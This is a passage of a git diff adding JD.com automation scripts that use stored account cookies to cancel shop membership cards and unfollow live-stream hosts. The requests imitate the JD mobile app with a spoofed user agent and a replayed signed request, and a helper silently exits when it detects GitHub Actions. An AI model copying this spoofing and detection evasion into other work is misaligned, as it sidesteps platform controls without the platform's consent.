this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_unbind.js b/jd_unbind.js new file mode 100644 index 0000000..eb9cf89 --- /dev/null +++ b/jd_unbind.js @@ -0,0 +1,284 @@ +/* +注销京东会员卡 +是注销京东已开的店铺会员,不是京东plus会员 +查看已开店铺会员入口:我的=>我的钱包=>卡包 + */ +const $ = new Env('注销京东会员卡'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnbindCardNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let cardPageSize = 20;// 运行一次取消多少个会员卡。数字0表示不注销任何会员卡 +let stopCards = `京东PLUS会员`;//遇到此会员卡跳过注销,多个使用&分开 +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】注销京东会员卡失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.unsubscribeCount = 0 + $.cardList = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdUnbind(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdUnbind() { + await getCards() + await unsubscribeCards() +} +async function unsubscribeCards() { + let count = 0 + $.pushcardList=[] + for (let item of $.cardList) { + if (count === cardPageSize * 1){ + console.log(`已达到设定数量:${cardPageSize * 1}`) + break + } + if (stopCards && (item.brandName && stopCards.includes(item.brandName))) { + console.log(`匹配到了您设定的会员卡【${item.brandName}】不再进行取消关注会员卡`) + continue; + } + console.log(`去注销会员卡【${item.brandName}】`) + let res = await unsubscribeCard(item.brandId); + $.pushcardList.push(`去注销会员卡【${item.brandName}】`) + $.pushcardList.push(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${item.brandId}`) + // if (res['success']) { + // if (res['busiCode'] === '200') { + // count++; + // $.unsubscribeCount ++ + // } + // } + // await $.wait(1000) + } + + let push_len = $.pushcardList.length + let push_lena = parseInt(push_len/20) + let push_lenb = push_len%20 + + if (push_lena == 0) { + let tg_text = '' + for (a = 0; a < push_len; a++){ + tg_text = tg_text + $.pushcardList[a] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } else { + let step = 0 + for (step = 0; step < push_lena; step++){ + let tg_text = '' + for (a = 0; a < 20; a++){ + tg_text = tg_text + $.pushcardList[a+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + + let tg_text = '' + for (b = 0; b < push_lenb; b++){ + tg_text = tg_text + $.pushcardList[b+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + +} +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } +} +function getCards() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}client.action?functionId=getWalletReceivedCardList_New`, + body: 'body=%7B%22v%22%3A%224.3%22%2C%22version%22%3A1580659200%7D&build=167668&client=apple&clientVersion=9.5.4&openudid=c5eb641f1e40b339e2e111619f22ef1e5fdc7834&rfs=0000&scope=01&sign=c18a161ddaf21f44e9cd56a8db29362e&st=1621407560442&sv=101', + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.cardsTotalNum = data.result.cardList ? data.result.cardList.length : 0; + $.cardList = data.result.cardList || [] + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + console.log($.cardList) + }); + }) +} +function unsubscribeCard(vendorId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}unBindCard?appid=jd_shop_member&functionId=unBindCard&body=%7B%22venderId%22:%22${vendorId}%22%7D&clientVersion=1.0.0&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'origin': 'https://shopmember.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`, + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + $.UN_BIND_NUM = $.isNode() ? (process.env.UN_BIND_CARD_NUM ? process.env.UN_BIND_CARD_NUM : cardPageSize) : ($.getdata('UN_BIND_CARD_NUM') ? $.getdata('UN_BIND_CARD_NUM') : cardPageSize); + $.UN_BIND_STOP_CARD = $.isNode() ? (process.env.UN_BIND_STOP_CARD ? process.env.UN_BIND_STOP_CARD : stopCards) : ($.getdata('UN_BIND_STOP_CARD') ? $.getdata('UN_BIND_STOP_CARD') : stopCards); + if ($.UN_BIND_STOP_CARD) { + if ($.UN_BIND_STOP_CARD.indexOf('&') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('&'); + } else if ($.UN_BIND_STOP_CARD.indexOf('@') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('@'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\n'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\\n'); + } else { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split(); + } + } + cardPageSize = $.UN_BIND_NUM; + stopCards = $.UN_BIND_STOP_CARD; + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_unsubscriLive.js b/jd_unsubscriLive.js new file mode 100644 index 0000000..4bc2753 --- /dev/null +++ b/jd_unsubscriLive.js @@ -0,0 +1,253 @@ +/* +脚本:取关主播 +更新时间:2021-07-27 +默认:每运行一次脚本取关所有主播 + +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js, 小火箭 +==============Quantumult X=========== +[task_local] +#取关所有主播 +55 6 * * * jd_unsubscriLive.js, tag=取关所有主播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon============ +[Script] +cron "55 6 * * *" script-path=jd_unsubscriLive.js,tag=取关所有主播 +============Surge============= +取关所有主播 = type=cron,cronexp="55 6 * * *",wake-system=1,timeout=3600,script-path=jd_unsubscriLive.js +===========小火箭======== +取关所有主播 = type=cron,script-path=jd_unsubscriLive.js, cronexpr="55 6 * * *", timeout=3600, enable=true + */ +const $ = new Env('取关所有主播'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + let aid = '' + if (!cookiesArr[0]) { + $.msg('【京东账号一】取关所有主播失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + allMessage += `京东账号${$.index} - ${$.nickName}\n`; + $.succs = 0; + $.fails = 0; + $.commlist = []; + $.olds = ''; + for (let i = 0; i < 100; i++) { + $.commlist.length = 0; + await GetRawFollowAuthor() + if ($.commlist.length == 0) { break } + for (let m = 0; m < $.commlist.length; m++) { + $.result = false; + $.authorId = $.commlist[m]['authorId'] + $.userName = $.commlist[m]['userName'] + await unsubscribeCartsFun() + if ($.result) { + aid = '&' + $.authorId + '&' + if ($.olds.indexOf(aid) == -1) { + $.succs += 1; + $.olds += aid; + } + $.fails = 0; + } else { + $.fails += 1; + if ($.fails > 4) { break } + } + await sleep(randomNum(800, 2200)) + } + console.log('取关一轮完成,等待3-6秒') + await sleep(randomNum(3000, 6000)) + } + allMessage += `成功取关主播数:${$.succs}\n`; + if ($.fails > 4) { + allMessage += `❗️❗️取关主播连续五次失败❗️❗️\n`; + } + allMessage += '\n' + } + } + if (allMessage) { + allMessage = allMessage.substring(0, allMessage.length - 1) + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +function randomNum(minNum, maxNum) { + switch (arguments.length) { + case 1: + return parseInt(Math.random() * minNum + 1, 10); + break; + case 2: + return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10); + break; + default: + return 0; + break; + } +} +function unsubscribeCartsFun(author) { + return new Promise(resolve => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/UnFollow?authorId=${$.authorId}&platform=3&_=` + new Date().getTime().toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + } + } + $.get(options, (err, resp, data) => { + if (data.indexOf('iRet":0') > 0) { + $.result = true; + console.log(`取关主播【${$.userName}】成功\n`) + } else { + console.log(`取关主播【${$.userName}】失败:` + data + `\n`) + } + resolve(data); + }); + }) +} + +function getStr(text, start, end) { + + var str = text; + var aPos = str.indexOf(start); + if (aPos < 0) { return null } + var bPos = str.indexOf(end, aPos + start.length); + if (bPos < 0) { return null } + var retstr = str.substr(aPos + start.length, text.length - (aPos + start.length) - (text.length - bPos)); + return retstr; + +} +function GetRawFollowAuthor() { + return new Promise((resolve) => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=` + (new Date().getTime() - 2000).toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + }, + } + //https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=1627380788998&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls + $.get(options, (err, resp, data) => { + let userInfo = {}, users = [] + try { + data = JSON.parse(getStr(data, 'jsonpCBKB(', ');')); + if (data.iRet === 0) { + for (let i = 0; i < data['data']['LiveIng'].length; i++) { + users.push({ 'authorId': data['data']['LiveIng'][i]['authorId'], 'userName': data['data']['LiveIng'][i]['userName'] }) + } + for (let i = 0; i < data['data']['PRLive'].length; i++) { + users.push({ 'authorId': data['data']['PRLive'][i]['authorId'], 'userName': data['data']['PRLive'][i]['userName'] }) + } + $.commlist = users + + console.log(`本轮取消主播数:${$.commlist.length}个\n`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? 